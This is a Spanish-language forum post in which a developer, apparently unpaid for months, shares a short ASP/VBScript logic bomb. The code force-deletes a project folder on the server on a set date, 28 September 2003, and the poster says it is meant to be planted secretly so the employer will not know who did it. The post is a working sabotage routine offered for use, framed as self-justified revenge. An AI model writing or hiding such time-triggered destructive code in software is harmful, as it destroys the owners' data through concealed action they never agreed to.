27/08/2003, 13:18
|
| | | Fecha de Ingreso: julio-2002 Ubicación: Stgo
Mensajes: 164
Antigüedad: 22 años, 9 meses Puntos: 0 | |
| Finalmente lo hice asi !!!
lo que pasa es que en mi trabajo no me han pagado hace como 4 meses, estoy terminando un proyecto y estoy Viendo DIFICIL que me paguen, entonces quiero dejar lista una especie de "Trampa" para que si es que en 20 dias mas no me pagan, se ELIMINE todo el proyecto y no tendrán IDEA de quien fue :P jejeje...
es bastante penka lo que intento hacer, pero hay que defender lo que a cada uno le corresponde no creen?
Function List(folderspec)
Dim fso, f, f1, fc, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
fSO.DeleteFolder folderspec, true
End Function
dia = day(now())
mes = month(now())
ano = year(now())
if dia = 28 and mes = 9 and ano = 2003 then
list(Server.MapPath("CARPETA_A_ELIMINAR"))
end if |